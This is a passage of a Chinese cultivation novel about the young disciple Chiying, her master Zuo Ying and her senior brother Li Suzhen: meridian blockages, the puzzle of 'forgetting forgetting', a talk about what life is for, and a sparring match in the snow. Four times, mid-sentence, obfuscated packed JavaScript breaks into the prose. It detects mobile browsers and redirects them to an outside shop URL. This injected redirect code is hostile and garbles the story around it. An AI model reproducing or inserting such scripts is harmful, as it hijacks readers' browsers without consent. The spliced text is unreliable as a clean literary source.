左婴“嗯”了一声,放下茶盏,走到她身后,伸手在她肩井穴附近按了按。他按得不重,但指尖触到那处穴位时,持盈忍不住轻轻嘶了一声。 左婴收回手,没有急着替她疏导,反而问了一句不相干的话:“你怕不怕痒。” 持盈一愣:“什么?” “怕不怕痒。” 持盈老实答道:“怕。” 左婴点了点头,像是得到了一个想要的答案。他抬起手,食指与中指并拢,在她肩井穴旁边大约一寸的位置轻轻点了一下。 持盈只觉得一股极细微的麻痒感从那个点蔓延开来,像是有人拿一根羽毛尖在她的骨头缝里轻轻扫了一下。 她没忍住,缩了一下脖子,随即又觉得自己反应太大,强行绷住了。 左婴又点了一下,换了个位置,这次比方才更痒。 持盈咬着嘴唇忍了一瞬,还是没忍住,肩膀猛地一耸,整个人往后一缩:“师父——” 她这一缩,原本堵在肩井穴处的那股真气反而被牵动了。顺着她缩肩的动作轻轻一滑,像一块被卡住的石头终于翻了个身,咕噜一下滚了过去。 持盈愣了一下。她感受着那股真气顺着经脉继续往下走,畅通无阻,一路滑下去,像是被堵了好几日的水道忽然通了,水流哗地一下涌了过去。 她抬起头来看向左婴。左婴已经重新端起了他那盏茶,正在不紧不慢地啜着,仿佛方才什么都没做过。 “明日让厨房给你煮一碗当归红枣汤。”他搁下茶盏,语气淡淡的,“你气血偏寒,通了也会再堵的。” 他说完便起身往外走。走到门口时,又停下来,侧过头,“你师兄小时候真气卡在檀中穴,来请教为师。为师让他把手伸出来,说要给他传一道真气帮他疏通——你猜为师往他掌心放了什么。” 持盈摇了摇头。 “一颗松子糖。” 他说完便走了,脚步声沿着回廊远去,不紧不慢的,渐渐听不见了。 持盈坐在榻上,望着空荡荡的门口,眨了眨眼睛,又眨了眨。 她转头看向坐在不远处的黎素真。 黎素真正低着头,手中握着书卷,但他的耳根红了,从耳朵尖一直红到耳垂,在烛光下看得分明。 持盈安静了一会儿,轻轻说了一句:“松子糖啊。” 她低下头时,嘴角轻轻弯了一下。也只是弯了一下,便又恢复成平日里那副没有表情的模样。 夜色渐渐深了。 持盈坐在榻上,感受着那股真气在经脉中稳稳地流转着,肩井穴处那块堵了好几日的石头,此刻已经消失得无影无踪。她伸手揉了揉那个位置,不酸,也不胀了。 她吹熄了灯,躺下来,闭上眼睛。窗外的月光照进来,落在她安安静静的睡容上,像一层薄薄的纱。 10. 忘忘 持盈入门已有一月余,这一月里,她学会了许多东西。 但最要紧的一件事,是在这一月里渐渐明白的,日子是可以这样过的。 清晨,钟声响过之后,她与众人一同坐在偏厅中诵读经文。 她读得慢,每日读到不认识的字便攒下来,待到午后去问黎素真。 早课之后,黎素真教她导引术。 她跟着他一式一式地学,动作不快,但每一式都尽力做到位。 起初手臂酸得抬不起来,如今已能顺畅地打完一整套了。 午后温习经文时,她有时坐在老桂树下的石墩上,有时坐在自己屋前的台阶上,一页一页地翻那些泛黄的书卷。 日光从书页的边缘照进来,将那些墨字的笔画照得微微发亮。 傍晚站桩是她每日最难熬的时辰,起初站上一刻钟便双腿打颤,膝盖内侧的筋像是要被扯断了一样酸痛。 她咬着牙,不吭声,一日一日地站下去。 如今已能稳稳站上小半个时辰了,气息均匀,面不改色。 那日感应到的“炁”,如今已能在调息时清晰地感知到它的存在。 脐下一寸三分之处,有一团温温热热的东西,不声不响地待在那里。 她静下来的时候能感觉到它,像一小汪泉水在极深的地底下缓缓冒着泡。 黎素真有一日看了她的进境,说了一句:“你进境很快。” 她听了便听了,没有觉得特别高兴,也没有觉得特别了不起。 她只是每日该做的功课一样不落地做完,该站的桩一日不偷懒地站完,该读的经文一页不跳地读完。 日子便这样过下来了。 到如今她偶尔会在某个瞬间忽然意识到自己已经在这里住了一月有余了。 她抬起头,看着玄极观上方的天空,觉得自己好像已经在这里住了很久了,又觉得自己昨日才刚到。 两种感觉混在一起,她也说不清楚哪一种才是真的。 冬至之后,山中的寒气越来越重了。 这一日持盈做完早课,从偏厅出来,沿着回廊往后院走。走到转角处,迎面撞上一个人。 她退了一步,抬头一看,是左婴。 左婴今日穿了一件白色的道袍,外罩一件苍青色鹤氅,长发用一根白玉簪松松束着。 晨光从回廊的漏窗中照进来,落在他身上,衬得他整个人像是从画里走出来的一般。 持盈每次见到他,都会在心里想一遍这人长得真好看。 但也仅此而已,想完了便放下了。 “师父。”她站定,叫了一声。 左婴“嗯”了一声,低头打量了她一眼,目光在她身上停了一停:“长高了一些。” 持盈不知道该如何答这句话,便没接。 左婴也不在意,负着手,慢悠悠地往前走。 持盈便跟在他身后,想着他大约是要去后山,自己正好顺路回房,便没有绕道。 走了一段路,左婴忽然开口:“你一日便感应到炁了。” “嗯。” “你师兄当年用了三日。” 持盈不知道他为什么突然说这个,便没有接话。 左婴继续道:“他感应到炁那日,跑来跟我说‘师父,我感觉到炁了。’我说‘嗯,知道了。’。” “他站在原地不走,我又说‘还有事么?’他憋了一会儿问‘师父,你不夸我么?’” 左婴说到这里,停顿了一下,摇了摇头,语气里带着一丝说不清道不明的意味:“我当时看他那个样子,便没夸他。” 持盈想了想,问:“为什么不夸他?” 左婴没有回答这个问题,只是继续往前走。走了一会儿,才道:“你猜他后来如何了。” 持盈想了想:“他觉得委屈,但又不肯认输,便更加用功了。” 左婴偏过头看了她一眼,目光里闪过一丝意外:“你怎么知道。” 持盈道:“因为师兄看起来便是那样的人。他做什么事都很认真,大约是因为不想让人失望。也不想让自己失望。” 左婴没有接话,继续往前走。 两人又走了一段路,持盈才发现左婴并不是要去后山,只是一路往她住的小院方向走。 走到她院门口,左婴便停下来,也不进去,只站在门外的老槐树下。 “你可有遇到什么疑惑之处?” 持盈想了想,如实道:“《坐忘浅说》中有一句——‘忘形而忘心,忘心而忘忘。’前面两句我大约能明白,便是忘记身体、忘记念头。” “但最后一句‘忘忘’,不太明白。既然已经忘了,还要再忘什么呢?” 左婴没有马上回答。 他抬头看了一眼老槐树光秃秃的枝丫,沉默了片刻,忽然道:“你试着忘一忘为师看看。” 持盈愣了愣:“怎么忘?” “你便想着,‘我要忘记师父站在我面前’。” 持盈依言,闭上眼睛,心中默念了几遍。 片刻后,她睁开眼,道:“忘了。” 左婴伸出手,在她面前晃了晃:“那你看得见为师么。” “看得见。” “那你是忘了,还是没忘?” 持盈张了张嘴,忽然明白过来。 她想了想,说道:“我心中想着‘忘了’,但眼睛一睁开,师父便站在面前,我便知道自己在骗自己。” “因为如果真的忘了,应该是连‘我在忘’这件事都不记得了。” 左婴没有肯定也没有否定,只是收回手,负回身后:“你自己去想。想明白了,那便是你的。旁人告诉你的,终究是旁人的。” 持盈点了点头。 左婴却没有立刻离开,他靠在老槐树的树干上,像是忽然不急着走了。 他望着远处雾气中若隐若现的山脊,慢悠悠地开口:“你师兄小时候还干过一件事。” “他入门大约半年的时候,有一日跑来问我。” “‘师父,我每日打坐调息,练出来的炁和我吃饭得来的力气,到底有什么不一样?’” 持盈静静地听着。 “我当时没有回答他,只说‘你自己去想。’” “他想了几日,跑来跟我说‘我明白了。吃饭得来的力气,不用就没了。炁不一样,不用它还在那里。’” 左婴说到这里,顿了顿,目光中露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504302|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一丝回忆般的神色:“我心想,这个答案倒也不算错。正要夸他一句——你猜他接着又说了什么?” 持盈摇了摇头。 “他接着说‘那我是不是可以不吃饭了,光练炁就能饱?’” 左婴说到这里,轻轻叹了口气,像是回忆起了什么令人头疼的往事:“然后那天下午,他便饿晕在菜园子里了。” 持盈沉默了好一会儿,望着左婴:“师父,你方才说‘正要夸他一句’——所以,到最后也没有夸他么?” 左婴被她说得顿了一下。 他偏过头来看着持盈,目光里有一种被看穿之后才浮现的笑意,像是终于发现眼前这个孩子比她师兄小时候要难糊弄得多。 “你这孩子,”他缓缓道,“怎么专挑这些无关紧要的地方问。” “因为那才是重点。”持盈道。 左婴没有回答。 他站直了身子,伸手将鹤氅拢了拢,转身准备离开。 走出两步,又停下来,侧过头,语气里带着一种老年人拿晚辈没办法时才有的无奈:“夸了。” 他顿了顿,声音低了些,像是自言自语那般:“等他醒了之后,还是夸了一句的。” 他说完便走了,身影转过回廊的拐角,消失在冬日薄雾中。 持盈站在院门口的老槐树下,望着他消失的方向。她低头想了想,嘴角微微动了动,但也只是一瞬,便又恢复成平日里那副没有表情的模样。 她转身回了自己的小院,在屋前的台阶上坐下来,翻开那本《坐忘浅说》,找到那句“忘形而忘心,忘心而忘忘”,看了一会儿。 她将书阖上,闭上眼睛试了试。试着忘记自己有手,忘记自己有脚,忘记自己正坐在台阶上。 试着忘记“自己在忘记”这件事。 试了几次,都不太成功。 每次她觉得差不多忘了的时候,心里便有一个声音冒出来:“你忘了没?” 这个念头一出来,她便知道自己其实还没忘。 她睁开眼睛,将书卷放到一旁,不再试了。她站起来,走到院子中央,开始站桩。 膝盖微曲,脊背挺直,双手虚抱于胸前。她将注意力放在呼吸上,不去想“忘忘”的事了。 约莫过了一炷香的工夫,院门被人从外头叩了两下。 “师妹。” 是黎素真的声音。 持盈收了桩,吐出一口气,走过去打开院门。 黎素真站在门外,手里端着一只粗碗,碗口冒着袅袅的白气。 “厨房里煮了姜汤,你喝一碗罢,天冷。” 他说得很随意,像是在说一件极小极小的事。 持盈看了他一眼,伸手接过碗来,低头喝了一口。姜汤还烫着,辣意顺着喉咙滑下去,在胃里暖融融地化开。 她捧着碗,又喝了一口,抬起头来:“多谢师兄。” 黎素真见她喝了,便点了点头,也不多留,转身走了。 持盈端着碗,站在院门口,看着他的背影沿着回廊走远,消失在拐角处。那方向是回厨房的路,与她住的小院正好相反。 她低头看了看碗里剩下的半碗姜汤,端起来一饮而尽。 11. 四年 持盈十二岁了。 四年光阴,在一个孩子的身上留下的痕迹,比别处都要明显些。 她的个子又拔高了一截,已到黎素真耳垂的位置了。 身量依旧清瘦,却不似从前那般单薄。肩背的线条在日复一日的站桩与导引中渐渐舒展开来,走路的姿态也从幼时的轻手轻脚变得沉稳了许多。 面容的变化更大一些。 幼时那张圆润的脸庞已褪尽了最后一点稚气,下颌的线条清晰起来,眉目间多了一层说不清道不明的东西。 不是愁,不是忧,只是一种“在想事情”的神情。她自己也未必知道自己成日在想些什么,但她确实在想。 想很多事,想很远的事,想到最后往往什么结论也没有,只是坐在那里,发着呆,任思绪像云一样来了又走。 如今她每日的生活依旧是早课、调息、导引、站桩、读经,但她的功课内容比从前多了许多。 除了《道德经》与《南华真经》,她开始读《黄庭经》与《参同契》,开始学辨识更多的药材,开始背记星象与历法的基本常识。 黎素真说这些是玄极观弟子必修的基础,不一定每一样都要精,但每一样都要懂一些。 持盈不求一次全记住,但记下来的东西便不会忘。 黎素真已经不怎么需要手把手教她了,她已有了自己翻阅典籍、自己琢磨功法、自己发现问题然后来问他的能力。 有时她问的问题,黎素真要想一想才能答得上来。 他便觉得这个小师妹比他料想中要聪明得多。 那日下午,持盈独自坐在藏经阁二层的窗边。 藏经阁是玄极观最高的建筑之一,二层的窗子正对着后山的一片松林。 窗外的松林在午后的日光下一片深绿,风穿过林间时发出低沉的、连绵不绝的声响,像是一条大河在远处奔流。 她手里捧着一卷《黄庭经》,读了几页便读不下去了。 不是看不懂,而是看懂了一部分之后,她心里浮起一个问题来。 书上说“泥丸百节皆有神”,说人体之中各处皆有神灵驻守,修行便是要使这些神灵各安其位。 她读到这里,心里浮起一个念头来。 这些神灵是本来就有的,还是修行者修出来的?若是本来就有的,为什么凡人感觉不到它们?若是修出来的,那它们还算不算“本来就有”的东西? 她想了一会儿,没有想出答案。 她又想到另一个问题上去。 她想起师父说过,修行是为了飞升,飞升是为了脱离轮回、与天地同寿。 可她不明白,为什么要与天地同寿,活着有那么好吗? 她四年前在黑山老妖的洞中不曾畏死,四年后的今天,她仍然不觉得活着是一件必须坚持下去的事。但她也没有想去死。 她只是觉得,活着和死了,好像也没有太大的分别。她将这个念头在心中翻来覆去地想了很久,最后也没有得出什么结论。 她只是将书卷阖上,搁在膝头,望着窗外的松林,安静地坐了很久。 傍晚时分,她回到自己院里,经过厨房时停了片刻,推开了门。 灶台上还余着些热气,她从碗柜中找到一只粗碗,又从锅中盛了一碗还温着的粥,端到院中的石桌上坐下,慢慢地喝着。 粥是白粥,除了一勺肉臊子之外什么也没有。她一口一口地喝着,忽然觉得有些恍惚。 她想起在拾翠楼的时候,每日的吃食也是这样的。一碗粥,一碟咸菜,吃完了便是一天。 那时她每日坐在窗边,听着外头的声音,想着自己什么时候才能长大。 如今她已经十二岁了,她长大了,却发现自己和八岁时并没有什么两样。 她仍然不知道自己为什么要活着,仍然不知道自己想要什么。 只是八岁时她不会这样清晰地意识到“自己不知道”,而如今她意识到了。这种意识并没有让她更痛苦,也没有让她更快乐,它只是让她更加沉默了。 她将那碗粥喝完,将碗洗干净,放回厨房的碗柜中,然后回到自己屋里,点起油灯,翻开那卷《黄庭经》,从方才读到的地方继续往下读。 又过了十几日,左婴让人传话,让她第二日早课后到后山静室来一趟。 持盈到的时候,左婴正坐在静室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504303|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外的石凳上,面前的石桌上摆着一盏茶,茶已经凉了,他也没有再续。 他长发随意地绾在脑后,没有束冠,整个人看起来比平日还要松散几分。 他看见持盈走进院子,目光在她身上上下打量了一番,说了一句:“长高了不少。” 持盈在他面前站定,叫了一声“师父”。 左婴“嗯”了一声,端起那盏凉茶喝了一口,又放下了,像是忽然想起来似的:“你今年十二了罢。” “是。” “入观也四年了。” “是。” “这四年,你师兄教你读书识字,教你导引调息,教你站桩辨药。但有一件事,他教不了你,为师也教不了你。” 持盈静静地听着。 左婴看着她,沉默了一瞬,缓缓道:“你得自己去找。” 持盈抬头看着他,她知道他说的不是功法,不是修行的关窍。 她沉默了许久,才开口:“师父,如果找不到呢?” 左婴没有回答。 他只是将手中那盏凉茶端起来,一饮而尽,然后将空盏搁在石桌上,站起身来。 “那便慢慢找,你才十二岁,有的是时间。” 他说完便转身往静室走去,走了两步,又停下来,侧过头,补了一句:“若是实在找不到——” 他顿了顿,“那便不找了,也不是人人都需要找到一个答案才能活的。” 他说完便推开静室的门,走了进去,门在他身后轻轻合上了。 持盈站在院子里,看着那扇阖上的木门,站了很久。 她想起四年前,也是在这后山的静室前,左婴问她为什么要活着。 她答不上来,他便说:“既然两边都没有意思,那便不必急着选。先走着看罢,也许走一走,就看到有意思的东西了。” 如今她走了四年,还是没看到。 但他方才说的话,她没有忘记。 “也不是人人都需要找到一个答案才能活的。”她低下头,看着自己脚边的青砖缝隙中,不知什么时候钻出了一小株嫩绿色的草芽。 她蹲下身,看了那株草芽好一会儿。 12. 意义 今年秋天来得比往年都要迟些。 入了九月,山中的暑气仍然没有散尽,银杏叶还是绿的,只有边缘处微微泛起一点焦黄色,像是被日光烘烤了太久,终于有些撑不住了。 日子过得像一条不紧不慢的溪水,清清晰晰地流着,不涨不枯,不疾不徐。 她的功课在同龄弟子中算是拔尖的,《道德经》已能通篇背诵,《南华真经》读过两遍,《黄庭经》与《参同契》也已有了自己的理解。 日子便这样过下来了,过到她几乎以为自己可以就这样一直过下去。 变化发生在十月里一个极寻常的傍晚。 那日持盈做完了一整日的功课,独自坐在院中那棵老槐树下。 晚秋的风吹过来,带着一股干爽的凉意,将院中几片落叶吹得在地上打着旋儿。 她坐在石墩上,双手搁在膝上,背靠着树干,望着天边渐渐暗下来的颜色。 晚霞烧过了最浓烈的时候,正在一点一点地褪去,从橘红褪成浅紫,再从浅紫褪成一片灰蒙蒙的青。 她就这样望着,一动不动,目光空空的,像是在看那片晚霞,又像是什么也没看。 黎素真来找她的时候,看见的便是这样一幅画面。 他如今已经十六岁了,身量已经完全长开,肩背宽阔,眉目清朗,站在那里已经有了几分青年人的挺拔模样。 他手中端着一碟新做的马蹄糕,是下午蒸好的,他记得她喜欢吃这个。 他走到院门口,看见她坐在树下望着天边发呆,便放轻了脚步走进去,在她身旁的石墩上坐下,将那碟桂花糕搁在两人中间的石桌上。 “发什么呆。” 持盈没有立刻回答。 她的目光仍然望着天边那片灰蒙蒙的颜色,过了好一会儿,才开口,声音不大,淡如流水:“师兄,我近来总是在想一件事。” “什么事。” “我在想,人活着到底是为了什么。” 黎素真正要伸手去拿马蹄糕的手顿住了。 他转过头来看着她,她的神情很平静,不像是在闹脾气,也不像是一时情绪低落随口说说的样子。她只是很认真地在想这个问题,从而把这个问题说了出来。 黎素真将手收回来,放在膝上,想了想,道:“怎么忽然想起问这个了。” “不是忽然。”持盈道,“我想了很久了,在拾翠楼的时候便开始想了。那时我每日坐在窗边,听着外头的烟火声,想着我为什么要活着。” “没有人需要我,没有事等着我去做,我活着,和院子里那棵银杏树活着,好像也没有什么区别。” 黎素真没有说话,只是安静地听着。 “后来师父把我带到这里来,教我读书识字,教我修行,我有了事做,便好些了。” “我想着,也许是因为从前太闲了才会想那些有的没的。若是我忙起来,大约便不会想了。” 她说到这里,停了一下,低下头,看着自己搁在膝上的双手。 “但我现在还是想。”她的声音比方才更轻了一些,“我每日早起,读经,调息,站桩,入夜便睡。第二日醒来,又是同样的事。” “我做这些事,是因为师兄告诉我该这么做。我修行,是因为师父说修行可以飞升。” “但飞升之后呢?与天地同寿,然后呢?” “我看书上写,成仙之后便可以逍遥自在,遨游四海,不再受轮回之苦。可是,那又如何呢?” “若是连‘想要什么’都不知道,那长生不老也只是长久地空着罢了。” 她说完了,院中便安静了下来。 风吹过老槐树的枝丫,将头顶几片枯叶吹落下来。其中一片落在石桌上,落在那一碟马蹄糕旁边。 黎素真沉默了很久,久到持盈以为他不会再开口了,他才叫了她一声:“持盈。” 她抬起头来看他。 他的神情有些复杂,不是生气,不是担忧,而是一种她从未在他脸上见过的表情。 像是被什么东西轻轻撞了一下胸口,一时不知道该怎么反应。 “你方才说的那些话,”他顿了顿,“你同师父说过么。” “没有。” “为什么不说。” “说了又如何。”持盈的语气仍然很平静,“师父也未必有答案。他只会说,慢慢找,不急。” 黎素真被她这句话噎了一下,因为她说得对,这确实像是师父会说出来的话。他低下头,看着石桌上那碟马蹄糕,沉默了好一会儿。 “你说的那些,我不太懂。”他终于开口,声音比方才低了一些,“我没有想过那么多,我入门的时候,只是想着要把功课做好,不要让师父失望。” “后来年岁渐长,便想着将来要做一个对得起玄极观的修行人。我没有想过活着是为了什么,大约是因为我一直有事要做,没有时间去想。” 他顿了顿,抬起头来看她:“但我知道一件事。” “若你真的不在乎,你是不会问的。”黎素真看着她,认真地说,“你问了很多次了,八岁的时候你在问,十二岁的时候你还在问。这说明你心里还是想找到那个答案的。” 持盈微微一怔,抬眼看他。 他说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504304|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完便站起身来,他没有再说什么,只是转身走出了院门。他的步子比平时快了一些,像是急着要去一个地方。 持盈坐在石墩上,望着他匆匆离去的背影,又低头看了看石桌上那碟马蹄糕。她伸出手,拿起一块咬了一口。 马蹄糕还是温的,清甜在舌尖上慢慢化开。她慢慢地吃着,吃完了第一块,又拿起第二块,目光落在那碟马蹄糕上,不知道在想什么。 次日下午,她正在偏厅中读《南华真经》,读到“泉涸,鱼相与处于陆,相呴以湿,相濡以沫,不如相忘于江湖”这一段,院门口传来脚步声。 她抬头一看,左婴站在门外。 他今日穿了一件月白色的道袍,没有披氅衣,大约是午后小憩刚醒,发髻束得比平日松散些,几缕发丝垂在鬓边。 他走进偏厅,在她对面坐下,也不说话,只是拿起她面前的书卷,翻到她正在读的那一页,低头看了一眼,又放下了。 “你师兄昨日来找我。” 持盈没有接话。 “他来我门前站了约莫一炷香的工夫。我问他有什么事,他站了很久,才说了一句——‘师父,持盈说她觉得活着没有意义。’” 左婴说到这里,停顿了一下:“他说完那句话,又站了一会儿,然后问我‘师父,我该怎么帮她?’” 持盈垂下目光,看着面前的书卷,没有说话。 “我没有回答他。”左婴道,“你知道为什么吗。” 持盈摇了摇头。 “因为我若告诉他该怎么做,他会记在心里,然后照着去做。但这件事不是照着做便能解决的。” 他看着持盈,目光是平静的,“他关心你,但他帮不了你。能帮你的,只有你自己。” 持盈沉默了很久,才开口:“师父,你四年前问我,死了就有意思了么。我说不上来,现在我还是说不上来,但师兄昨日同我说了一句话。” “他说了什么。” “他说,若我真的不在乎,我是不会问的。” 她说完这句话,便没有再往下说了。 左婴没有说话,他看着她的目光里有一种极淡的、近乎看不出来的变化。像是看到了什么他一直在等的东西,终于出现了。 他没有说什么,只是站起身来,走到门口,侧过头来:“你师兄那个人,有时候比他自己以为的要明白得多。” 他说完便走了,留持盈一个人坐在偏厅中。她低下头,看着面前那卷《南华真经》,目光落在那一行字上——“不如相忘于江湖”。 她将那句话又默念了一遍,将书卷阖上,抱在怀里。 13. 切磋 深冬时分,山中的雪已经积了厚厚一层。 玄极观的屋瓦上、松枝上、石阶上,到处都是一片白,踩上去咯吱作响,脚步声在寂静的山间传得很远。 这几日尤其冷,连早课都比平日短了些。 香客也稀少了,偶尔三两个上山来烧香的,都裹着厚厚的棉衣,缩着脖子在殿前匆匆拜完便下山去了。 持盈从藏经阁出来,沿着回廊往后山走。冷风从廊柱间灌进来,她拢了拢领口,低头快步走着。 她今日穿了一件红色的袄裙,料子是去年秋日若渝师兄下山办事时带回来的,说是路过绸庄时看见这匹布觉得颜色好看,便买了几尺,托人裁了件衣裳。 持盈当时接过来,没有推辞,只是道了声谢。 她平日里穿的衣裳多是素色,青的、灰的、蓝的,这件红色的袄裙是她衣柜里最亮的一件。 走到前院时,迎面遇上黎素真。他今日穿了一件蓝色的厚袍,领口处露出一截白色的中衣衬里,腰间束着一条深色的丝绦。 整个人清清爽爽的,像一截被雪水洗过的晴空。他看见持盈穿的那件红衣,目光在她身上停了一瞬。 持盈注意到他的目光,低头看了看自己的衣裳:“是不是太红了?” “不红。”黎素真移开目光,“好看。”他说完这两个字便没有再多说,只道,“师父让你去后山静室一趟。” 持盈点了点头,与黎素真擦肩而过,沿着回廊往后山走去。 后山的雪比前院更深一些。 她踩着一地的白,走到静室前的空地上,看见左婴正站在那棵老梅树下。 他今日穿了一件墨色的氅衣,厚实沉重,将他整个人裹得严严实实。 墨色的衣袍衬着满地的白雪,黑白分明,像一幅刚画好的水墨画,墨迹还未干透。 老梅树的枝丫上已经结了许多花苞,一粒一粒的,在寒风中微微颤动,还没有开放。 持盈走到他面前三步处停下,叫了一声“师父”。 左婴转过身来,目光先落在她脸上,然后又落到她那件红色袄裙上,停了一下:“穿得这样红,老远便看见了。” 持盈不知该如何接这句话,便没有接。 左婴也不在意,负着手打量了她一番:“你归元诀第一重已经稳了,是么。” “是。” “什么时候稳的。” “入冬之前便稳了。” 左婴点了点头,没有立刻接话。 他沉默了一会儿,目光望向远处被白雪覆盖的山脊,似乎在想着什么事情。 过了好一会儿,他才缓缓开口:“你师兄在第一重上,已经困了几年了。” 持盈没有说话。 她当然知道这件事。 她入门至今已有四年,黎素真教她导引、教她调息、教她站桩,可她自己一日一日地进步着,从感应到炁到真炁充盈,再到炁化皮肉,一步步走得稳稳当当。 而黎素真,她眼看着他在第一重的门槛上停了一年又一年,始终没有跨过去。他从来不提这件事,她也从来不问。 左婴道:“你和他切磋一场。” 持盈抬起头看着左婴,沉默了片刻:“会伤着师兄么。” 左婴看了她一眼,嘴角微微一挑:“你有这个本事伤着他再说罢。” 他说完便往后退了两步,靠在那棵老梅树的树干上,双手拢进袖中,一副准备好看了戏的模样。 持盈站在原地安静了一会儿,转过身来。 黎素真不知什么时候已经站在了她身后不远处,大约是左婴叫她来的时候便已经安排好了。 他看着持盈,沉默了一瞬,然后摆开了架势。 他的周身浮现出一层极淡的白色。 炁薄如晨霭,从他体内缓缓渗出,并不浓烈,像是冬日水面上升起的水汽,贴着他的衣裳和皮肤缓缓流淌,将他整个人笼在一层若有若无的白光之中。 他站在那里,衣袍被极轻的气流微微拂动,蓝衣衬着白雾,像是一幅用淡墨在宣纸上晕染开来的远山。 持盈也摆开了架势。 只见她运炁的那一刻,炁便从周身中逸散出来,像是一层极淡的月华覆在她的红衣之上。 两个人隔着三步的距离,在雪地上相对而立。 雪还在下,细碎的雪花无声无息地落下,落到两人周身的炁上时便轻轻一旋,像是被一股极柔和的力量托了一下,才缓缓落到地上。 黎素真先动了。 他向前迈出一步右掌直推,带起一阵风声。掌势并不快,但稳而沉。 他周身的炁随着他这一动而翻涌起来,像是被风拂过的云海,一层一层地向前荡开,朝持盈涌去。 并非掌风带起的气流,归元诀的真炁本身在向外舒张,如同一朵白色的花在缓缓绽放。 持盈没有退。 她侧身一让,左掌贴着黎素真的手腕擦过去,不去硬接他的掌力,而以巧劲将他的掌势带偏。 黎素真的掌力落在她身后的雪地上,积雪被激起一小片白尘,簌簌飞扬。 他腕部的炁在她指尖擦过的一瞬间微微散开,又迅速合拢,像是被惊扰的水面重新归于平静。 持盈借势转身右腿横扫,踢向黎素真的膝弯。黎素真抬腿格挡,两人的小腿在空中撞在一起,发出一声沉闷的声响。 两人腿部相触之处,炁被撞得向四周迸散开来,像是一团白云被石子击碎,在空中散成无数细小的白色碎片,又缓缓落回他们身上。 两只脚一触即分,两人各自退开半步。黎素真站稳之后看了持盈一眼,目光中多了一层说不清的东西。 他知道她进境很快,但没想到她出手会这样干脆利落。 黎素真深吸了一口气,将体内那团沉寂已久的炁再次催动起来。 他已经困在第一重太久了,久到他几乎已经习惯了“推不动”的感觉。 每一次运炁,都像用一把钝刀去砍一块顽石,用尽全力也只在表面上留下一道浅浅的白痕,但他没有停下来过。 他再次出手。 这一次他没有再试探,他将体内所有的炁都调动起来。 白色的炁从他周身蒸腾而起,比方才浓了一倍不止,在他身体周围缓缓旋转,像是一层肉眼可见的光晕。 他的衣袍和发丝都被这层白雾托起,无风自动,整个人像是站在一团缓缓旋转的云涡中心。 他一掌推出,裹挟着磅礴的炁朝持盈压来。翻涌着向前推进,像是山间的晨雾被风推着穿过林间,无声无息却铺天盖地。 持盈没有硬接。 她向后滑出一步,又一步,再一步,每一步都踩在黎素真掌力的间隙中,像是在急流中找到那些不湿脚的石头。 炁扑面而来,她的发丝和眼睫上都凝了一层细密的白霜。 那些炁触到她的身体时并没有散去,而是绕着她流动,像是水流遇到一块圆润的石头,自然而然地分成两股,在她身后重新汇合。 她一直退到了老梅树下,退无可退了。 背后是粗糙的树干,头顶是缀满花苞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17504305|202867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的枝丫,而面前是裹着炁一掌推来的黎素真。 她忽然停了下来。 在黎素真的掌力即将触及她胸口的瞬间,她的身体微微一矮。掌势从她头顶掠过,落在她身后的老梅树上。 树枝猛地一震,积雪簌簌落下,满树的花苞在雪雾中剧烈摇晃。 炁撞上树干时轰然散开,像是撞上礁石的浪头,向两侧飞溅,将满树的枝丫都染上了一层白霜。 而她的右手已经贴在了黎素真的肋下。 她周身的炁顺着她的手臂缓缓流过去,在他肋间萦绕了一瞬,便散去了。 触到他身体时,像是溪水汇入了江河,被他体内的炁自然而然地吞纳进去。 黎素真低头看了看她贴在自己肋下的那只手,又抬起头来看着她,沉默了很久。 他忽然觉得自己体内那团沉寂了几年的炁动了一下。 不是往常那种死水微澜似的颤动,像是冰封了一个冬天的河面,在某些看不见的深处出现了一道极细的裂纹。然后那道裂纹缓缓扩大,从河底一直延伸到河面。 他站在那里,炁开始发生变化。原本只是薄薄一层覆在体表,此刻却像被什么东西点燃了一样,从他体内向外蒸腾而出。 越来越浓,越来越密。 